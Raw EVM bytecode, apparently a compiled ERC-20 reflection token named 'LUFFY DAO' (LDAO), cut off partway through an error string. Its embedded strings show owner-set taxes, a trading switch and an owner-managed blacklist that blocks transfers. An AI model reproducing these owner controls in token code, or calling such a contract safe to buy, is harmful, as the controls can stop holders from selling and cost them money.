0x6080604052600436106101db5760003560e01c806374010ece11610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610690578063dd62ed3e146106b9578063ea1644d5146106f6578063f2fde38b1461071f576101e2565b8063a2a957bb146105d6578063a9059cbb146105ff578063bfd792841461063c578063c3c8cd8014610679576101e2565b80638f70ccf7116100d15780638f70ccf71461052e5780638f9a55c01461055757806395d89b411461058257806398a5c315146105ad576101e2565b806374010ece146104725780637d1db4a51461049b5780637f2feddc146104c65780638da5cb5b14610503576101e2565b8063313ce5671161017a5780636d8aa8f8116101495780636d8aa8f8146103de5780636fc3eaec1461040757806370a082311461041e578063715018a61461045b576101e2565b8063313ce5671461033657806331aaaeda1461036157806349bd5a5e1461038a5780636b999053146103b5576101e2565b80631694505e116101b65780631694505e1461027857806318160ddd146102a357806323b872dd146102ce5780632fd689e31461030b576101e2565b8062b8cf2a146101e757806306fdde0314610210578063095ea7b31461023b576101e2565b366101e257005b600080fd5b3480156101f357600080fd5b5061020e60048036038101906102099190612fd5565b610748565b005b34801561021c57600080fd5b50610225610872565b60405161023291906130a6565b60405180910390f35b34801561024757600080fd5b50610262600480360381019061025d91906130fe565b6108af565b60405161026f9190613159565b60405180910390f35b34801561028457600080fd5b5061028d6108cd565b60405161029a91906131d3565b60405180910390f35b3480156102af57600080fd5b506102b86108f3565b6040516102c591906131fd565b60405180910390f35b3480156102da57600080fd5b506102f560048036038101906102f09190613218565b610905565b6040516103029190613159565b60405180910390f35b34801561031757600080fd5b506103206109de565b60405161032d91906131fd565b60405180910390f35b34801561034257600080fd5b5061034b6109e4565b60405161035891906131fd565b60405180910390f35b34801561036d57600080fd5b506103886004803603810190610383919061326b565b6109f0565b005b34801561039657600080fd5b5061039f610ae0565b6040516103ac91906132a7565b60405180910390f35b3480156103c157600080fd5b506103dc60048036038101906103d7919061326b565b610b06565b005b3480156103ea57600080fd5b50610405600480360381019061040091906132ee565b610bf6565b005b34801561041357600080fd5b5061041c610ca8565b005b34801561042a57600080fd5b506104456004803603810190610440919061326b565b610d79565b60405161045291906131fd565b60405180910390f35b34801561046757600080fd5b50610470610dca565b005b34801561047e57600080fd5b506104996004803603810190610494919061331b565b610f1d565b005b3480156104a757600080fd5b506104b0610fcd565b6040516104bd91906131fd565b60405180910390f35b3480156104d257600080fd5b506104ed60048036038101906104e8919061326b565b610fd3565b6040516104fa91906131fd565b60405180910390f35b34801561050f57600080fd5b50610518610feb565b60405161052591906132a7565b60405180910390f35b34801561053a57600080fd5b50610555600480360381019061055091906132ee565b611014565b005b34801561056357600080fd5b5061056c6110c6565b60405161057991906131fd565b60405180910390f35b34801561058e57600080fd5b506105976110cc565b6040516105a491906130a6565b60405180910390f35b3480156105b957600080fd5b506105d460048036038101906105cf919061331b565b611109565b005b3480156105e257600080fd5b506105fd60048036038101906105f89190613348565b6111a8565b005b34801561060b57600080fd5b50610626600480360381019061062191906130fe565b6113a3565b6040516106339190613159565b60405180910390f35b34801561064857600080fd5b50610663600480360381019061065e919061326b565b6113c1565b6040516106709190613159565b60405180910390f35b34801561068557600080fd5b5061068e6113e1565b005b34801561069c57600080fd5b506106b760048036038101906106b2919061340a565b6114ba565b005b3480156106c557600080fd5b506106e060048036038101906106db919061346a565b6115f4565b6040516106ed91906131fd565b60405180910390f35b34801561070257600080fd5b5061071d6004803603810190610718919061331b565b61167b565b005b34801561072b57600080fd5b506107466004803603810190610741919061326b565b61171a565b005b6107506118db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d4906134f6565b60405180910390fd5b60005b815181101561086e5760016010600084848151811061080257610801613516565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061086690613574565b9150506107e0565b5050565b60606040518060400160405280600981526020017f4c554646592044414f0000000000000000000000000000000000000000000000815250905090565b60006108c36108bc6118db565b84846118e3565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600069017b7883c06916600000905090565b6000610912848484611aac565b6109d38461091e6118db565b6109ce856040518060600160405280602881526020016141fc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109846118db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461232f9092919063ffffffff16565b6118e3565b600190509392505050565b60185481565b6000600960ff16905090565b6109f86118db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7c906134f6565b60405180910390fd5b6001601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b0e6118db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b92906134f6565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610bfe6118db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c82906134f6565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ce96118db565b73ffffffffffffffffffffffffffffffffffffffff161480610d5f5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d476118db565b73ffffffffffffffffffffffffffffffffffffffff16145b610d6857600080fd5b6000479050610d7681612393565b50565b6000610dc3600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123ff565b9050919050565b610dd26118db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e56906134f6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f256118db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa9906134f6565b60405180910390fd5b674563918244f40000811115610fca57806016819055505b50565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61101c6118db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a0906134f6565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600481526020017f4c44414f00000000000000000000000000000000000000000000000000000000815250905090565b6111116118db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461119e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611195906134f6565b60405180910390fd5b8060188190555050565b6111b06118db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461123d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611234906134f6565b60405180910390fd5b6000841015801561124f575060048411155b61128e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112859061362e565b60405180910390fd5b600082101580156112a05750600e8211155b6112df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d6906136c0565b60405180910390fd5b600083101580156112f1575060048311155b611330576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132790613752565b60405180910390fd5b600081101580156113425750600e8111155b611381576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611378906137e4565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006113b76113b06118db565b8484611aac565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114226118db565b73ffffffffffffffffffffffffffffffffffffffff1614806114985750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114806118db565b73ffffffffffffffffffffffffffffffffffffffff16145b6114a157600080fd5b60006114ac30610d79565b90506114b78161246d565b50565b6114c26118db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461154f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611546906134f6565b60405180910390fd5b60005b838390508110156115ee57816005600086868581811061157557611574613516565b5b905060200201602081019061158a919061326b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806115e690613574565b915050611552565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6116836118db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611710576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611707906134f6565b60405180910390fd5b8060178190555050565b6117226118db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a6906134f6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361181e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181590613876565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611952576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194990613908565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b89061399a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a9f91906131fd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1290613a2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8190613abe565b60405180910390fd5b60008111611bcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc490613b50565b60405180910390fd5b611bd5610feb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c435750611c13610feb565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561202e57601560149054906101000a900460ff16611cd257611c64610feb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611cd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc890613be2565b60405180910390fd5b5b601654811115611d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0e90613c4e565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611dbb5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611dfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df190613ce0565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ea75760175481611e5c84610d79565b611e669190613d00565b10611ea6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9d90613dc8565b60405180910390fd5b5b6000611eb230610d79565b9050600060185482101590506016548210611ecd5760165491505b808015611ee5575060158054906101000a900460ff16155b8015611f3f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611f575750601560169054906101000a900460ff165b8015611fad5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120035750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561202b576120118261246d565b600047905060008111156120295761202847612393565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120d55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806121885750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156121875750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15612196576000905061231d565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156122415750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561225957600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156123045750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561231c57600a54600c81905550600b54600d819055505b5b612329848484846126e4565b50505050565b6000838311158290612377576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236e91906130a6565b60405180910390fd5b50600083856123869190613de8565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156123fb573d6000803e3d6000fd5b5050565b6000600654821115612446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161243d90613e8e565b60405180910390fd5b6000612450612711565b9050612465818461273c90919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156124a4576124a3612e34565b5b6040519080825280602002602001820160405280156124d25781602001602082028036833780820191505090505b50905030816000815181106124ea576124e9613516565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612591573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125b59190613ec3565b816001815181106125c9576125c8613516565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061263030601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118e3565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612694959493929190613fe9565b600060405180830381600087803b1580156126ae57600080fd5b505af11580156126c2573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806126f2576126f1612786565b5b6126fd8484846127c3565b8061270b5761270a61298e565b5b50505050565b600080600061271e6129a2565b91509150612735818361273c90919063ffffffff16565b9250505090565b600061277e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a07565b905092915050565b6000600c5414801561279a57506000600d54145b6127c157600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806127d587612a6a565b95509550955095509550955061283386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128c885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b1c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061291481612b7a565b61291e8483612c37565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161297b91906131fd565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008060006006549050600069017b7883c0691660000090506129da69017b7883c0691660000060065461273c90919063ffffffff16565b8210156129fa5760065469017b7883c06916600000935093505050612a03565b81819350935050505b9091565b60008083118290612a4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a4591906130a6565b60405180910390fd5b5060008385612a5d9190614072565b9050809150509392505050565b6000806000806000806000806000612a878a600c54600d54612c71565b9250925092506000612a97612711565b90506000806000612aaa8e878787612d07565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612b1483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061232f565b905092915050565b6000808284612b2b9190613d00565b905083811015612b70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b67906140ef565b60405180910390fd5b8091505092915050565b6000612b84612711565b90506000612b9b8284612d9090919063ffffffff16565b9050612bef81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b1c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c4c82600654612ad290919063ffffffff16565b600681905550612c6781600754612b1c90919063ffffffff16565b6007819055505050565b600080600080612c9d6064612c8f888a612d9090919063ffffffff16565b61273c90919063ffffffff16565b90506000612cc76064612cb9888b612d9090919063ffffffff16565b61273c90919063ffffffff16565b90506000612cf082612ce2858c612ad290919063ffffffff16565b612ad290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612d208589612d9090919063ffffffff16565b90506000612d378689612d9090919063ffffffff16565b90506000612d4e8789612d9090919063ffffffff16565b90506000612d7782612d698587612ad290919063ffffffff16565b612ad290919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612da25760009050612e04565b60008284612db0919061410f565b9050828482612dbf9190614072565b14612dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612df6906141db565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612e6c82612e23565b810181811067ffffffffffffffff82111715612e8b57612e8a612e34565b5b80604052505050565b6000612e9e612e0a565b9050612eaa8282612e63565b919050565b600067ffffffffffffffff821115612eca57612ec9612e34565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612f0b82612ee0565b9050919050565b612f1b81612f00565b8114612f2657600080fd5b50565b600081359050612f3881612f12565b92915050565b6000612f51612f4c84612eaf565b612e94565b90508083825260208201905060208402830185811115612f7457612f73612edb565b5b835b81811015612f9d5780612f898882612f29565b845260208401935050602081019050612f76565b5050509392505050565b600082601f830112612fbc57612fbb612e1e565b5b8135612fcc848260208601612f3e565b91505092915050565b600060208284031215612feb57612fea612e14565b5b600082013567ffffffffffffffff81111561300957613008612e19565b5b61301584828501612fa7565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561305857808201518184015260208101905061303d565b83811115613067576000848401525b50505050565b60006130788261301e565b6130828185613029565b935061309281856020860161303a565b61309b81612e23565b840191505092915050565b600060208201905081810360008301526130c0818461306d565b905092915050565b6000819050919050565b6130db816130c8565b81146130e657600080fd5b50565b6000813590506130f8816130d2565b92915050565b6000806040838503121561311557613114612e14565b5b600061312385828601612f29565b9250506020613134858286016130e9565b9150509250929050565b60008115159050919050565b6131538161313e565b82525050565b600060208201905061316e600083018461314a565b92915050565b6000819050919050565b600061319961319461318f84612ee0565b613174565b612ee0565b9050919050565b60006131ab8261317e565b9050919050565b60006131bd826131a0565b9050919050565b6131cd816131b2565b82525050565b60006020820190506131e860008301846131c4565b92915050565b6131f7816130c8565b82525050565b600060208201905061321260008301846131ee565b92915050565b60008060006060848603121561323157613230612e14565b5b600061323f86828701612f29565b935050602061325086828701612f29565b9250506040613261868287016130e9565b9150509250925092565b60006020828403121561328157613280612e14565b5b600061328f84828501612f29565b91505092915050565b6132a181612f00565b82525050565b60006020820190506132bc6000830184613298565b92915050565b6132cb8161313e565b81146132d657600080fd5b50565b6000813590506132e8816132c2565b92915050565b60006020828403121561330457613303612e14565b5b6000613312848285016132d9565b91505092915050565b60006020828403121561333157613330612e14565b5b600061333f848285016130e9565b91505092915050565b6000806000806080858703121561336257613361612e14565b5b6000613370878288016130e9565b9450506020613381878288016130e9565b9350506040613392878288016130e9565b92505060606133a3878288016130e9565b91505092959194509250565b600080fd5b60008083601f8401126133ca576133c9612e1e565b5b8235905067ffffffffffffffff8111156133e7576133e66133af565b5b60208301915083602082028301111561340357613402612edb565b5b9250929050565b60008060006040848603121561342357613422612e14565b5b600084013567ffffffffffffffff81111561344157613440612e19565b5b61344d868287016133b4565b93509350506020613460868287016132d9565b9150509250925092565b6000806040838503121561348157613480612e14565b5b600061348f85828601612f29565b92505060206134a085828601612f29565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006134e0602083613029565b91506134eb826134aa565b602082019050919050565b6000602082019050818103600083015261350f816134d3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061357f826130c8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036135b1576135b0613545565b5b600182019050919050565b7f4275792072657761726473206d757374206265206265747765656e203025206160008201527f6e64203225000000000000000000000000000000000000000000000000000000602082015250565b6000613618602583613029565b9150613623826135bc565b604082019050919050565b600060208201905081810360008301526136478161360b565b9050919050565b7f42757920746178206d757374206265206265747765656e20302520616e64203160008201527f3425000000000000000000000000000000000000000000000000000000000000602082015250565b60006136aa602283613029565b91506136b58261364e565b604082019050919050565b600060208201905081810360008301526136d98161369d565b9050919050565b7f53656c6c2072657761726473206d757374206265206265747765656e2030252060008201527f616e642032250000000000000000000000000000000000000000000000000000602082015250565b600061373c602683613029565b9150613747826136e0565b604082019050919050565b6000602082019050818103600083015261376b8161372f565b9050919050565b7f53656c6c20746178206d757374206265206265747765656e20302520616e642060008201527f3134250000000000000000000000000000000000000000000000000000000000602082015250565b60006137ce602383613029565b91506137d982613772565b604082019050919050565b600060208201905081810360008301526137fd816137c1565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613860602683613029565b915061386b82613804565b604082019050919050565b6000602082019050818103600083015261388f81613853565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006138f2602483613029565b91506138fd82613896565b604082019050919050565b60006020820190508181036000830152613921816138e5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613984602283613029565b915061398f82613928565b604082019050919050565b600060208201905081810360008301526139b381613977565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613a16602583613029565b9150613a21826139ba565b604082019050919050565b60006020820190508181036000830152613a4581613a09565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613aa8602383613029565b9150613ab382613a4c565b604082019050919050565b60006020820190508181036000830152613ad781613a9b565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613b3a602983613029565b9150613b4582613ade565b604082019050919050565b60006020820190508181036000830152613b6981613b2d565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613bcc603f83613029565b9150613bd782613b70565b604082019050919050565b60006020820190508181036000830152613bfb81613bbf565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613c38601c83613029565b9150613c4382613c02565b602082019050919050565b60006020820190508181036000830152613c6781613c2b565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613cca602383613029565b9150613cd582613c6e565b604082019050919050565b60006020820190508181036000830152613cf981613cbd565b9050919050565b6000613d0b826130c8565b9150613d16836130c8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613d4b57613d4a613545565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613db2602383613029565b9150613dbd82613d56565b604082019050919050565b60006020820190508181036000830152613de181613da5565b9050919050565b6000613df3826130c8565b9150613dfe836130c8565b925082821015613e1157613e10613545565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613e78602a83613029565b9150613e8382613e1c565b604082019050919050565b60006020820190508181036000830152613ea781613e6b565b9050919050565b600081519050613ebd81612f12565b92915050565b600060208284031215613ed957613ed8612e14565b5b6000613ee784828501613eae565b91505092915050565b6000819050919050565b6000613f15613f10613f0b84613ef0565b613174565b6130c8565b9050919050565b613f2581613efa565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613f6081612f00565b82525050565b6000613f728383613f57565b60208301905092915050565b6000602082019050919050565b6000613f9682613f2b565b613fa08185613f36565b9350613fab83613f47565b8060005b83811015613fdc578151613fc38882613f66565b9750613fce83613f7e565b925050600181019050613faf565b5085935050505092915050565b600060a082019050613ffe60008301886131ee565b61400b6020830187613f1c565b818103604083015261401d8186613f8b565b905061402c6060830185613298565b61403960808301846131ee565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061407d826130c8565b9150614088836130c8565b92508261409857614097614043565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006140d9601b83613029565b91506140e4826140a3565b602082019050919050565b60006020820190508181036000830152614108816140cc565b9050919050565b600061411a826130c8565b9150614125836130c8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561415e5761415d613545565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666